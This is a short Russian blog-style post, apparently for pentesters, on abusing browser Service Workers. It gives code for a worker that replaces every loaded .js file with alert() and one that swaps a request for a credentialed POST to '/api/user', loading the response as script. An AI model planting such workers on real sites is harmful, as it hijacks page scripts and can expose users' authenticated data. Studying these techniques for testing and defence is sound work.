Service Worker - это скрипт, запускаемый браузером в фоновом процессе. Думаю, еще не самая используемая технология пентестерами, а ведь с помощью нее можно придумать какую-нибудь интересную эксплуатацию уязвимостей. Большинство использует как кэш в твоем браузере, а кто-то, наверное, всякие гадости делает?
Чтобы посмотреть, что у тебя крутится-вертится, нужно открыть chrome://serviceworker-internals/
. Если ты активный пользователь интернета, будешь неприятно удивлен
Например, вот логика простого перехватчика запросов, которые заканчиваются на js. Если происходит fetch (а это даже просто подключаемый js на страницу с помощью тега <script>
, то вернется alert()
.
Надо разместить куда-то serviceworker.js (на имя пофиг).
self.addEventListener('fetch', event => {
if(event.request.url.endsWith('.js'))
event.respondWith(new Response('alert()'));
});
И зарегать его:
<script>navigator.serviceWorker.register(‘serviceworker.js')</script>
При следующем посещении все js’ки будут alert’тить.
А вот если какой-то контент доступен только с помощью метода POST и тебе его нужно оттуда подгрузить js, то можно просто заменить любой запрос на странице (назовем его intercept), на наше событие:
self.addEventListener('fetch', event => {
const url = '/api/user';
if(event.request.url.endsWith('/intercept'))
event.respondWith(fetch(url, {
method : 'POST',
mode : 'no-cors',
credentials: 'include'
}));
});
И вместо <script src=/intercept></script>
, будет содержимое POST-запроса
>